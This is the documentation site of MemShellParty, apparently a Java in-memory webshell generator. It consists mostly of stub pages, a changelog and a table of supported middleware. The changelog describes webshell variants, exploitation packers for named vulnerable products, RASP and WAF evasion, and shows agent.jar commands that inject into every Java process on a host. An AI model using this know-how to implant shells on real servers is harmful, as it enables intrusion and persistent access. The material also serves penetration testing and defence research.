# AbstractTranslet (/docs/abstract-translet)



WIP


# Agent Jar (/docs/agent-jar)



WIP


# Base64 (/docs/base64)



WIP


# BCEL (/docs/bcel)



WIP


# BigInteger (/docs/biginteger)



WIP


# 表达式注入 (/docs/expression)



WIP


# H2 JDBC URL (/docs/h2)



WIP


# Hessian 反序列化 (/docs/hessian-deserialize)



WIP


# Jar (/docs/jar)



WIP


# Java 原生反序列化 (/docs/java-deserialize)



WIP


# JSP (/docs/jsp)



WIP


# 脚本引擎注入 (/docs/script-engine)



### Nashorn ScriptEngine [#nashorn-scriptengine]

### Rhino ScriptEngine [#rhino-scriptengine]


# 模板注入 (/docs/ssti)



WIP


# XMLDecoder (/docs/xml-decoder)



WIP


# Java Agent 内存马 (/docs/agent-shell)



## Java Agent 原理 [#java-agent-原理]

## Java Agent 内存马实现方案 [#java-agent-内存马实现方案]

## 切点选取 [#切点选取]


# 更新日志 (/docs/changelog)



All notable changes to this project will be documented in this file.

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [v2.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.8.0) - 2026-06-13 [#v280---2026-06-13]

### Added [#added]

1. 新增对 [Winstone-Jetty](https://github.com/jenkinsci/winstone)（Jenkins 2.491.1）和 [Geronimo-Jetty](https://github.com/apache/geronim)（Jetty 7.1） 上下文采集注入（Thanks @su18）
2. 新增 Godzilla DubboService 内存马注入，默认使用 XOR\_Base64（仅支持特战版，Thanks @ReaJason）
3. (UI)支持选取具体的打包方式
4. (UI)当选择 SpringGzipJDK17 的打包方式时自动将注入器类名为 org.springframework.expression. 开头的随机生成类名

### Fixed [#fixed]

1. 修复 Jetty 7.1.6 回显马找不到 request/response 导致回显失败

### Changed [#changed]

1. boot 使用 SpringBoot 4.1.0 版本 + Dockerfile 中默认 jre21
2. 依赖更新

**Full Changelog:** [v2.7.2...v2.8.0](https://github.com/ReaJason/MemShellParty/compare/v2.7.2...v2.8.0)

## [v2.7.2](https://github.com/ReaJason/MemShellParty/releases/tag/v2.7.2) - 2026-05-24 [#v272---2026-05-24]

### Fixed [#fixed-1]

1. 修复 Web 回显马生成界面，调试模式、绕过模块限制等开关不可用（Thanks @xcxmiku）

**Full Changelog:** [v2.7.1...v2.7.2](https://github.com/ReaJason/MemShellParty/compare/v2.7.1...v2.7.2)

## [v2.7.1](https://github.com/ReaJason/MemShellParty/releases/tag/v2.7.1) - 2026-05-24 [#v271---2026-05-24]

### Fixed [#fixed-2]

1. 修复 SpELSpringGzipJDK17 高版本 org.springframework.util.Base64Utils 类被删除导致无法使用
2. 修复 TongWeb 7.0.4.9、BES 11.0.0 回显失效
3. 修复命名错误 struct2 -> struts2

### Changed [#changed-1]

1. 依赖更新、文档更新

**Full Changelog:** [v2.7.0...v2.7.1](https://github.com/ReaJason/MemShellParty/compare/v2.7.0...v2.7.1)

## [v2.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.7.0) - 2026-04-26 [#v270---2026-04-26]

### Added [#added-1]

1. 添加 Alibaba Dubbo 和 Apache Dubbo Service 内存马，专门针对 Dubbo Provider 的场景（#32 By @ReaJason）
2. 为 Attacher 添加默认列举 Java 进程和 `all` 参数注入所有 Java 进程的代码（与 JMG Agent.jar 命令一致）
   ```bash
   java -jar agent.jar # 列举所有 Java 进程
   java -jar agent.jar <pid> # 注入指定 PID Java 进程
   java -jar agent.jar all # 注入所有 Java 进程
   ```
3. 添加 Command Base64 Encryptor，方便测试 Base64 流量特征攻击

### Fixed [#fixed-3]

1. 修复测试用例 WAS7(IBM JDK6) 下需要添加 `-Xshareclasses:none` JVM 参数才能注入成功，否则报错 UnmodifiableClassException

### Changed [#changed-2]

1. 添加 tomcat-embed-core 依赖，Spring Boot 4 应用依赖时能直接使用 Tomcat 容器进行部署（Spring Boot 4 不再支持 Undertow）
2. 前端依赖更新，将格式化工具 biomejs 改为 oxc

**Full Changelog:** [v2.6.1...v2.7.0](https://github.com/ReaJason/MemShellParty/compare/v2.6.1...v2.7.0)

## [v2.6.1](https://github.com/ReaJason/MemShellParty/releases/tag/v2.6.1) - 2026-03-30 [#v261---2026-03-30]

### Fixed [#fixed-4]

1. (UI)修复 SpringWebMVC 生成 Controller 点击生成按钮无效（#140 Thanks @ekkoo-z By @ReaJason）
2. 修复 WebSocket Proxy OOM（#127 Thanks @xiaoxiaoranxxx）

### Changed [#changed-3]

1. 依赖更新
2. web docs 更新，支持复制 markdown 以及点击跳转 GitHub 等界面

**Full Changelog:** [v2.6.0...v2.6.1](https://github.com/ReaJason/MemShellParty/compare/v2.6.0...v2.6.1)

## [v2.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.6.0) - 2026-02-08 [#v260---2026-02-08]

### Added [#added-2]

1. 为 ByteBuddyGenerator 添加 postProcessBytes 模板方法，支持生成后对 shell bytes 进行操作
2. 支持 Resin 2.1.17 Agent 内存马的生成
3. 同步更新 Suo5V2 v2.5.1 修复逻辑（#135 By @zema1）

### Fixed [#fixed-5]

1. (UI)修复生成按钮防连点失效（By @ReaJason）
2. 修复 ServletRenameVisitorWrapper 可能会导致部分 ByteBuddy Advisor 方法选中失效
3. 去除 JSP 脚本中 `Class<?>` 泛型，改为 `Class`，修复低版本 Servlet 容器解析失败

### Changed [#changed-4]

1. Suo5V2 抽取 Loader 进行 Suo5V2 的核心代码加载，增加可维护性（#136）
2. 依赖更新

**Full Changelog:** [v2.5.0...v2.6.0](https://github.com/ReaJason/MemShellParty/compare/v2.5.0...v2.6.0)

## [v2.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.5.0) - 2026-01-19 [#v250---2026-01-19]

### Added [#added-3]

1. 添加 WebSocket BypassNginx 实现，使用方式见文档（By @ReaJason）
2. 添加 WebSocket Proxy 实现，使用方式见文档（#126，Thanks @xiaoxiaoranxxx）
3. 添加 JSP/JSPX Unicode 打包方式（#116 Thanks @Ch1ngg）
4. (UI)添加目标 JRE 版本的选择，防止部分情况下无法使用 JDK8 API（#131 Thanks @LTP414）

### Fixed [#fixed-6]

1. 修复自定义内存马 Agent 型无法显式调用 Jakarta API（#131 Thanks @LTP414）
2. (UI)修复自定义内存马文件上传框中文字不居中

### Changed [#changed-5]

1. 调整哥斯拉 WebSocket 马使用 **AES\_RAW** 同时支持 GitHub 插件和特战版都可连接，使用方式见文档
2. 重构 MemShell 和 ProbeShell 集成测试用例，减少代码量
3. 支持 Spring 相关集成测试用例调用远程 docker 完成测试（目前所有集成测试用例可支持在远程 docker 执行）[customizing-docker-host-detection](https://java.testcontainers.org/features/configuration/#customizing-docker-host-detection)
4. 配置 Gradle 构建打包自动发布至 Maven Central(不需要额外去网页手动点 Publish)
5. 重命名仓库中 asserts -> assets
6. 依赖更新

**Full Changelog:** [v2.4.2...v2.5.0](https://github.com/ReaJason/MemShellParty/compare/v2.4.2...v2.5.0)

## [v2.4.2](https://github.com/ReaJason/MemShellParty/releases/tag/v2.4.2) - 2026-01-12 [#v242---2026-01-12]

### Added [#added-4]

1. 新增对 WebSphere open-liberty 的内存马注入以及回显马（By @ReaJason）
2. 支持 Filter 调序为第一个，解决部分鉴权 Filter 的连接干扰
3. 新增回显马可回显 Filter 列表
4. 添加 libs 子模块，存放部分中间件源码包方便进行代码编写和调试以及便于编写后续源码分析文档
5. 目标服务文档填写适配表格，展示各版本该如何选取对应内存马挂载类型，[https://dev-party.mem.mk/ui/docs/server-intro](https://dev-party.mem.mk/ui/docs/server-intro)
6. 添加文档 tree 结构，欢迎一起完善文档

### Fixed [#fixed-7]

1. 修复注入器上下文获取失败时不会正确打印 `context not found`
2. 修复文档页直接点击子菜单时 502 无法正确显示
3. 修复 web 前端项目无法在 Windows 环境正确编译（Thanks @kN6jq）
4. 修复 Jetty 回显马，直接使用 Request 和 Callback 导致部分环境 ClassNotFound 问题（改用反射调用）

### Changed [#changed-6]

1. 调整 testcontainer 获取 host 的处理，支持使用远程 docker 环境完成测试
2. 简化 WebLogic context 获取代码，改为从 JMX 中获取
3. 依赖更新

**Full Changelog:** [v2.4.1...v2.4.2](https://github.com/ReaJason/MemShellParty/compare/v2.4.1...v2.4.2)

## [v2.4.1](https://github.com/ReaJason/MemShellParty/releases/tag/v2.4.1) - 2025-12-16 [#v241---2025-12-16]

### Fixed [#fixed-8]

1. 修复 Suo5v2、Godzilla、Command Listener 等无法中断请求的场景下未 close 响应流导致连接失败 (#120 By @ReaJason, @zema1 Thanks @whwlsfb)
2. 修复非调试模式下，throwable.printStackTrace 未被正确移除
3. 修复 responseBody 回显马如果业务优先触发 getOutputStream 或 getWriter 导致回显失败（#122 Thanks @localurk）
4. 修复某软新版获取不到 context 导致 Tomcat 内存马无法注入的问题（Thanks @unam4）

### Changed [#changed-7]

1. generator 模块去除 bcel 依赖，简化 jackson 依赖
2. UI 添加 tooltip 简易描述方便使用，并优化部分布局细节
3. UI 迁移 radix-ui 至 base-ui
4. 文档更新、依赖更新

**Full Changelog:** [v2.4.0...v2.4.1](https://github.com/ReaJason/MemShellParty/compare/v2.4.0...v2.4.1)

## [v2.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.4.0) - 2025-12-10 [#v240---2025-12-10]

### Added [#added-5]

1. 支持 Suo5 V2 版本内存马生成（[#118](https://github.com/ReaJason/MemShellParty/issues/118) By @ReaJason Thanks @zema1）
2. 支持 Struts2 Action 内存马与回显马生成

### Changed [#changed-8]

1. ui 探测马生成去除 jar 相关打包方式

**Full Changelog:** [v2.3.0...v2.4.0](https://github.com/ReaJason/MemShellParty/compare/v2.3.0...v2.4.0)

## [v2.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.3.0) - 2025-12-08 [#v230---2025-12-08]

### Added [#added-6]

1. 支持 Jetty Handler 与 Customizer 内存马生成（By @ReaJason）
2. 支持 Jetty ee8\~ee11 的回显马（无法从 post urlencoded 中获取 parameter，请从 url queryParam 或 header 传入参数）
3. **内存马生成支持回显模式对接回显马**
4. 支持 Tomcat Upgrade 内存马注入（仅 Tomcat8+ 可用）
5. 支持添加 lambda 类名后缀开关（[#97](https://github.com/ReaJason/MemShellParty/issues/97)）
6. 命令执行内存马与回显马支持自定义命令模板（[#115](https://github.com/ReaJason/MemShellParty/issues/115) Thanks [@ViCrack](https://github.com/ViCrack)）
7. 添加 ScriptEngine 绕过 Java 模块限制生成以及支持 H2URLPacker(方便生成 metabase 漏洞测试 payload)
8. web 模块添加 [fumadocs](https://fumadocs.dev/) 框架，支持文档编写
9. 回显马运行字节码时支持 base64 和 gzipBase64 字节码传入
10. 支持 GroovyTransformJar 打包方式（fastjson 漏洞注入 [#112](https://github.com/ReaJason/MemShellParty/issues/112) Thanks [@DongHuangT1](https://github.com/DongHuangT1)）
11. 回显马参数名称支持默认随机生成

### Changed [#changed-9]

1. 由于 jetty handler 依赖的类干扰，boot 容器从 jetty 改为 undertow
2. 注入器和回显马添加 ok 标识仅运行一次，降低代码运行时间
3. boot 接口添加 /api 前缀，web 添加 /ui 前缀

**Full Changelog:** [v2.2.0...v2.3.0](https://github.com/ReaJason/MemShellParty/compare/v2.2.0...v2.3.0)

## [v2.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.2.0) - 2025-11-20 [#v220---2025-11-20]

### Added [#added-7]

1. 内存马注入器支持接入回显 toString 打印 contextPath 等注入成功或错误信息（By @ReaJason）
2. boot 新增通过字节码 base64 获取类名接口，并支持自定义内存马使用随机类名或原始类名
3. 适配 Apusic 9.0.1 版本（金蝶 EAS Cloud）
4. UI 在 JSP/Base64/序列化相关 payload 生成时添加下载按钮便于下载 JSP 文件/注入器 Class 文件/原始序列化文件
5. 支持注入器或回显马添加静态代码块执行构造方法调用，解决部分场景下无法手动调用构造方法
6. 支持 SpringWebMVC 回显马生成（#107）
7. 添加 Jetty 12 中 ee11 的内存马注入支持和靶场测试用例
8. 支持 ScriptEngineJar 打包方式（SnakeYaml 漏洞注入，#109）
9. 支持 AbstractTranslet 打包方式，方便 TemplatesImpl 反序列化漏洞注入
10. 支持脚本引擎执行回显马生成，方便调试

### Fixed [#fixed-9]

1. 修复自定义内存马生成报错（#102、#106，Thanks @love71 and @m0s30）
2. 修复 Tomcat Valve 仅单个情况下注入 ProxyValve 导致站挂掉（#105 Thanks @love71）
3. 默认哥斯拉内存马去除对 session 的依赖，解决部分场景下 session 为 null 导致无法连接

### Changed [#changed-10]

1. 命令执行内存马和命令执行回显马支持从参数或请求头中获取命令参数
2. 调整靶场构建使用的 openjdk 改为 eclipse-temurin
3. 依赖更新

**Full Changelog:** [v2.1.0...v2.2.0](https://github.com/ReaJason/MemShellParty/compare/v2.1.0...v2.2.0)

## [v2.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.1.0) - 2025-08-12 [#v210---2025-08-12]

### Added [#added-8]

1. 添加 BigInteger、ScriptEngineBigInteger 打包方式（#86 by @wanswu）
2. 添加 SpELSpringGzipJDK17 打包方式（#83 by @xcxmiku and @ReaJason）
3. 添加 JXPathSpringGzipPacker、JXPathSpringGzipPackerJDK17 打包方式（GeoServer 漏洞注入）
4. 添加 Base64URLEncoded 打包方式（配合回显马进行小马拉大马测试）
5. 支持回显马在进行自定义字节码执行时去除 Java 魔数流量特征

```http
/path/code?payload=yv66vgAAADIBVQEAJ29yZy9hcGFj...
```

改为只需要如下方式

```http
/path/code?payload=IBVQEAJ29yZy9hcGFj...
```

### Fixed [#fixed-10]

1. 修复非调试模式下，构造方法中的 e.printStackTrace() 并没有被移除
2. 修复使用 Dockerfile 进行自定义构建时，自定义路由无法正常工作
3. 修复探测内存马中 Sleep 和 DNSLog 自定义类名失效（#89 Thanks @yinsel）
4. 修复自定义内存马中，不会自动调用 listener 添加 getResponseFromRequest 实现代码和 valve 修改包名的逻辑（使用自定义内存马请参考：[如何使用自定义内存马功能](/docs/WriteCustomShell.md) 进行实现，否则会出现不可用的问题）
5. 修复使用 SDK 时，Agent Packer 在 jar-with-dependencies(fatjar) 中会出现打包整个 jar 的问题
6. 修复 Tomcat Listener 注入会使之前所有 Listener 失效（#93）

### Changed [#changed-11]

1. 修改 Packer 中对于 Thread.currentThread().getContextClassLoader() 的纯依赖改为新建 URLClassLoader，使得回显马可多次执行
2. 去除 logback（java11）和 okhttp 无用依赖，解决使用 SDK 打包部分场景会出现类版本不支持的问题
3. 实现 Lombok SuperBuilder 自定义 Builder 简化配置类的创建代码（#9f8f3baa）
4. 优化命令执行内存马，改为和回显马逻辑一致，使用 ProcessBuilder.redirectErrorStream 简化流读取
5. 修改 packer 中脚本存放添加 memshell-party 一级，防止打包成 fatjar 时文件全在根目录，可能会被覆盖导致功能破坏
6. 优化资源读取，通过工具类 loadTemplateFromResource 统一实现
7. 优化 Agent Attacher JDK11 异常处理
8. 依赖更新

**Full Changelog:** [v2.0.0...v2.1.0](https://github.com/ReaJason/MemShellParty/compare/v2.0.0...v2.1.0)

## [v2.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.0.0) - 2025-08-13 [#v200---2025-08-13]

> \[!WARNING]\
> 为了区分内存马和探测马，部分类名和接口做了调整，如果使用了 SDK，需要参考：[examples/memshell-party-maven-example](https://github.com/ReaJason/MemShellParty/tree/master/examples/memshell-party-maven-example) 进行调整。

### Added [#added-9]

* **支持探测马生成** (#71 by @ReaJason，部分代码参考 jeg 与 java-chains)
* Web 添加关于页面
* 支持 H2 JDBC 打包方式（DataEase 漏洞注入）
* 支持 XMLDecoder 打包方式（WebLogic 漏洞注入）
* 支持 OGNL SpringUtils 打包方式（Confluence 漏洞注入）

### Fixed [#fixed-11]

* 修复 SpringWebMVC Agent 无法点击生成按钮 (#77)
* 修复 Spring Boot 对于 no static resource 老是抛出错误日志
* 修复 TongWeb8 context 获取错误导致注入失败的问题

### Changed [#changed-12]

* **简化 Server 类型选择，例如 JBossEAP7 和 WildFly 选择 Undertow** (#74 by @zema1)
* **去除注入器中静态代码块调用构造方法，减少注入动作的触发**（可能会导致部分 `Class.forName("name", true, loader)` 的场景注入失败，后续会添加字节码 Web 工具进行这块的处理）
* 简化 Tomcat AgentInjector 的代码
* 前端 module 分包减少单个 js 体积，加快首次加载速度
* 移除 memshell-party-bom 模块，改用 gradle/libs.versions.toml，参考：[Use Version Catalogs to Centralize Dependency Versions](https://docs.gradle.org/current/userguide/best_practices_dependencies.html#use_version_catalogs)
* 使用 build-logic 替代 buildSrc，加快构建速度，参考：[Favor build-logic Composite Builds for Build Logic](https://docs.gradle.org/current/userguide/best_practices_general.html#favor_composite_builds)
* 从 generator 模块中分离 payload 生成代码并合并 deserialize 模块为 packer 模块
* 使用 i18 扁平化 key，并使用 namespace 区分 MemShell 和 ProbeShell 的字段，参考：[RSSNext/Folo/zh-CN.json](https://github.com/RSSNext/Folo/blob/dev/locales/common/zh-CN.json)
* 升级 gradle-maven-publish-plugin 插件版本，简化打包指令
* 统一生成内存马类过程中抛出异常为 GenerationException，并单独设置 GlobalExceptionHandler

**Full Changelog:** [v1.10.0...v2.0.0](https://github.com/ReaJason/MemShellParty/compare/v1.10.0...v2.0.0)

## [v1.10.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-06-07 [#v1100---2025-06-07]

### Added [#added-10]

* 添加新的 JSP 打包方式（直接使用 defineClass 进行注入）(by @zema1 #67)
* 支持 Tomcat 和 JBossAS ProxyValve 内存马（通过动态代理将 StandardPipeline 的第一个 valve 进行包装注入自定义逻辑）

### Fixed [#fixed-12]

* 修复哥斯拉无法使用最新版连接
* 修复 TongWeb8 Valve 未适配
* 修复移动端 UI 输入框 placeholder 字体过大
* 修复移动端 UI 类名复制按钮超出卡片范围

### Changed [#changed-13]

* 修改 Valve 和 Listener 字节码修改时机，改为生成时再进行修改，方便自定义内存马生成
* 合并 memshell 与 memshell-jdk8 模块，方便维护
* UI 使用新的 shadcn/ui 提供的 Zinc 主题配置
* 将所有 Shell 捕获异常从 Exception 改为 Throwable
* 简化 Shell base64 方法代码
* Gradle 更新至 8.14.2
* 参考 [General Gradle Best Practices](https://docs.gradle.org/current/userguide/best_practices_general.html)，将构建脚本改为
  Kotlin DSL

**Full Changelog:** [v1.9.0...v1.10.0](https://github.com/ReaJason/MemShellParty/compare/v1.9.0...v1.10.0)

## [v1.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.9.0) - 2025-05-28 [#v190---2025-05-28]

### Added [#added-11]

* 支持 TongWeb8 内存马生成 by @ReaJason
* 通过 context 获取 webAppClassLoader，不再依赖 Thread.currentThread().getContextClassLoader()
  为请求线程，参考：[任意类加载环境下注入内存马](https://reajason.eu.org/writing/whichclassloaderforshell/)
* 全面支持使用 ASM 生成 Agent（仅需 92.5 KB），并且可选 JDKAttacher 与 JREAttacher
* 支持命令执行自定义实现类，RuntimeExec or ForkAndExec

### Fixed [#fixed-13]

* 修复 Apusic Listener 由于 response 获取错误导致不可用
* 修复 Jakarta WebSocket 无法注入

### Changed [#changed-14]

* Godzilla WebSocket 默认使用 AES\_BASE64 加密器，支持使用 [GzWebsocket](https://github.com/xsshim/GzWebsocket) 插件进行连接。
* Gradle、Web 项目依赖更新
* UI 生成界面默认勾选缩小字节码
* UI 优化手机端选项布局，单行显示每个输入框
* UI 使用紧凑模式，隐藏非常用字段简化操作路径
* 提取公共 Tailwind CSS 类名，简化表单组件代码
* yup 替代 zod 减少打包体积，并将自定义表单验证融合到 react-hook-form 中优化 UX
* 重构 Shell Generator 代码

**Full Changelog:** [v1.8.0...v1.9.0](https://github.com/ReaJason/MemShellParty/compare/v1.8.0...v1.9.0)

## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14 [#v180---2025-05-14]

### Added [#added-12]

* 支持普元中间件内存马生成（only 6.5 版本）by @ReaJason（#60）
* 支持哥斯拉 WebSocket 内存马生成与测试
* 添加 Groovy 通用恶意类加载打包方式（用于测试 Jenkins 脚本执行）
* 命令执行支持加密器，双 Base64 测试绕过 WAF 安全设备

### Fixed [#fixed-14]

* 修复 Jetty 高版本中 ee8 \~ ee10 无法注入（#61）
* 修复 Spring Boot 下类加载的原因导致的 Tomcat/Jetty/Undertow 部分内存马注入失败

### Changed [#changed-15]

* 命令执行改为反射调用 forkAndExec 以绕过 RASP（JDK7+）
* 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`，高版本 JDK 不再需要 bypass module
* 优化 boot 在启动时即触发 Server 的内存马生成注册，加速第一次请求访问

**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.7.0...v1.8.0)

## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06 [#v170---2025-04-06]

### Added [#added-13]

* 支持发布到 MavenCentral，可通过引入依赖使用生成 API by @ReaJason（#41）
* 支持 CC3、CC4 反序列化 payload 打包方式
* 支持随机参数生成与默认选项（#50）

### Changed [#changed-16]

* 去除代码混淆相关代码
* 为了更好地在 MavenCentral 展示，重命名部分模块
* 使用 Jackson 代替 Fastjson 降低 boot 打包体积
* 移除 commons-codec 降低 boot 打包体积
* 升级 shadcn/ui 所有 component 代码

**Full Changelog:** [v1.6.0...v1.7.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)

## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30 [#v160---2025-03-30]

> 做代码生成以及代码混淆真是一件需要耐心的事情

### Added [#added-14]

* 支持自定义内存马生成 by @ReaJason（#49）
* 支持命令回显 ASM Agent 内存马 by @ReaJason（#51）
* 支持简易的代码混淆 by @ReaJason（#13）
* 支持自动发布 DEV 分支代码 CD

### Changed [#changed-17]

* 简化 Jetty 获取 Context 代码
* 优化 Dockerfile 减小镜像体积

**Full Changelog:** [v1.5.0...v1.6.0](https://github.com/ReaJason/MemShellParty/compare/v1.5.0...v1.6.0)

## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01 [#v150---2025-03-01]

### Added [#added-15]

* 支持 NeoreGeorg 内存马生成 by @ReaJason
* 支持 UI 显示更新按钮跳转到 GitHub Release 界面

### Changed [#changed-18]

* 简化 Valve 内存马代码
* 升级 Gradle 8.13

**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)

## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26 [#v140---2025-02-26]

### Added [#added-16]

* 支持缩小字节码 (移除调试信息) by @ReaJason
* 支持 Tomcat Jakarta WebSocket

### Fixed [#fixed-15]

* 修复自定义注入器类名不起作用

### Changed [#changed-19]

* 优化跨平台开发体验，将 bash 脚本改为 js 脚本

**Full Changelog:** [v1.3.2...v1.4.0](https://github.com/ReaJason/MemShellParty/compare/v1.3.2...v1.4.0)

## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25 [#v132---2025-02-25]

### Fixed [#fixed-16]

* 修复 Tomcat WebSocket 注入报错，无法工作

### Changed [#changed-20]

* 添加 foojay-toolchains 插件，支持 Dockerfile 构建时自动下载缺失的 JDK 版本
* 优化构建 Spring Boot 的 Dockerfile，最小权限原则
* 支持一键构建的 Dockerfile，适配需要 NGINX 反代的场景
* 代码重构支持一处注册所有 Server 的 Shell 配置

**Full Changelog:** [v1.3.1...v1.3.2](https://github.com/ReaJason/MemShellParty/compare/v1.3.1...v1.3.2)

## [v1.3.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.1) - 2025-02-20 [#v131---2025-02-20]

### Added [#added-17]

* UI 中打包配置中添加 Loading 状态

### Fixed [#fixed-17]

* 修复 UI 在修改目标服务时，挂载类型有时未跟着变化导致生成失败

**Full Changelog:** [v1.3.0...v1.3.1](https://github.com/ReaJason/MemShellParty/compare/v1.3.0...v1.3.1)

## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.0) - 2025-02-20 [#v130---2025-02-20]

### Added [#added-18]

* 支持 Hessian、Hessian2 反序列化，XSLT 链 (#36) by @ReaJason

### Changed [#changed-21]

* 移除无用依赖，JavaSocket，Gson
* Gradle 升级至 8.12.1
* 更新 TestContainers 和 Junit 的版本

### Fixed [#fixed-18]

* 修复 UI 在仅修改打包方式重新生成时，多选 payload 下拉框置空，且 payload 没有变为最新的。

**Full Changelog:** [v1.2.1...v1.3.0](https://github.com/ReaJason/MemShellParty/compare/v1.2.1...v1.3.0)

## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19 [#v121---2025-02-19]

### Changed [#changed-22]

* UI 增强手机端响应式，增强 i18n 显示 (#39)

### Fixed [#fixed-19]

* 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功

**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)

## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19 [#v120---2025-02-19]

### Added [#added-19]

* 支持 AntSword 内存马生成 by @ReaJason
* 添加 Java 反序列化其他 CB 版本 Payload 生成

### Changed [#changed-23]

* CI 分离单独测试 was7 集成测试，大幅度减少测试时间
* 部分 UI 调整

### Fixed [#fixed-20]

* 修复随机类名如果为保留字时会无法加载

**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0)

## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15 [#v110---2025-02-15]

### Added [#added-20]

* 支持 Suo5 内存马生成 by @ReaJason

### Changed [#changed-24]

* 升级 TailWind CSS v4
* 分离 i18n EN 和 ZH 为两个 json 文件，方便维护以及 VSCode 插件识别

### Fixed [#fixed-21]

* 修复 sonner 颜色主题未随着修改而变化
* 修复 IDEA 本地构建 version 一直是 unspecified

**Full Changelog:** [v1.0.0...v1.1.0](https://github.com/ReaJason/MemShellParty/compare/v1.0.0...v1.1.0)

## [v1.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.0.0) - 2025-01-03 [#v100---2025-01-03]

### Added [#added-21]

* 支持 Tomcat、Jetty、WebLogic、GlassFish、JBoss、Resin 等 18 个中间件或框架的应用内存马
* 支持 Filter、Servlet、Listener、NettyHandler、Agent 等常见内存马挂载类型
* 支持哥斯拉、冰蝎、命令执行功能
* 支持 Base64、Jar、JSP、常见表达式、常见模板引擎、反序列化等打包方式


# 适配情况 (/docs/compatibility)



已兼容 Java6 \~ Java8、Java9、Java11、Java17、Java21

### 中间件以及框架 [#中间件以及框架]

| [Tomcat（5 \~ 11）](/docs/server-intro#tomcat) | [Jetty（6 \~ 12）](/docs/server-intro#jetty) | [GlassFish（3 \~ 7）](/docs/server-intro#glassfish) | [Payara（5 \~ 6）](/docs/server-intro#payara) |
| -------------------------------------------- | ------------------------------------------ | ------------------------------------------------- | ------------------------------------------- |
| Servlet                                      | Servlet                                    | Filter                                            | Filter                                      |
| Filter                                       | Filter                                     | Listener                                          | Listener                                    |
| Listener                                     | Listener                                   | Valve                                             | Valve                                       |
| Valve                                        | Handler                                    | FilterChain - Agent                               | FilterChain - Agent                         |
| ProxyValve                                   | Customizer                                 | ContextValve - Agent                              | ContextValve - Agent                        |
| FilterChain - Agent                          | ServletHandler - Agent                     |                                                   |                                             |
| ContextValve - Agent                         |                                            |                                                   |                                             |
| Upgrade                                      |                                            |                                                   |                                             |

| [Resin（3 \~ 4）](/docs/server-intro#resin) | [SpringWebMVC](/docs/server-intro#springwebmvc) | [SpringWebFlux](/docs/server-intro#springwebflux) | [XXL-JOB](/docs/server-intro#xxljob) |
| ----------------------------------------- | ----------------------------------------------- | ------------------------------------------------- | ------------------------------------ |
| Servlet                                   | Interceptor                                     | WebFilter                                         | NettyHandler                         |
| Filter                                    | ControllerHandler                               | HandlerMethod                                     |                                      |
| Listener                                  | FrameworkServlet - Agent                        | HandlerFunction                                   |                                      |
| FilterChain - Agent                       |                                                 | NettyHandler                                      |                                      |

| [JBossAS（4 \~ 7）](/docs/server-intro#jboss) | [JBossEAP（6 \~ 8）](/docs/server-intro#undertow) | [WildFly（9 \~ 30）](/docs/server-intro#wildfly) | [Undertow](/docs/server-intro#undertow) |
| ------------------------------------------- | ----------------------------------------------- | ---------------------------------------------- | --------------------------------------- |
| Filter                                      | Filter                                          | Servlet                                        | Servlet                                 |
| Listener                                    | Listener                                        | Filter                                         | Filter                                  |
| Valve                                       | Valve(6)                                        | Listener                                       | Listener                                |
| ProxyValve                                  | FilterChain - Agent (6)                         | ServletHandler - Agent                         | ServletHandler - Agent                  |
| FilterChain - Agent                         | ContextValve - Agent (6)                        |                                                |                                         |
| ContextValve - Agent                        | ServletHandler - Agent (7)                      |                                                |                                         |

| [WebSphere（7 \~ 9）](/docs/server-intro#websphere) | [WebLogic (10.3.6 \~ 14)](/docs/server-intro#weblogic) |
| ------------------------------------------------- | ------------------------------------------------------ |
| Servlet                                           | Servlet                                                |
| Filter                                            | Filter                                                 |
| Listener                                          | Listener                                               |
| FilterManager - Agent                             | ServletContext - Agent                                 |

| [BES (9.5.x \~ 11.0.0)](/docs/server-intro#bes) | [TongWeb（6 \~ 8）](/docs/server-intro#tongweb) | [InforSuite AS (9 \~ 10)](/docs/server-intro#inforsuite) |
| ----------------------------------------------- | --------------------------------------------- | -------------------------------------------------------- |
| Filter                                          | Filter                                        | Filter                                                   |
| Listener                                        | Listener                                      | Listener                                                 |
| Valve                                           | Valve                                         | Valve                                                    |
| FilterChain - Agent                             | FilterChain - Agent                           | FilterChain - Agent                                      |
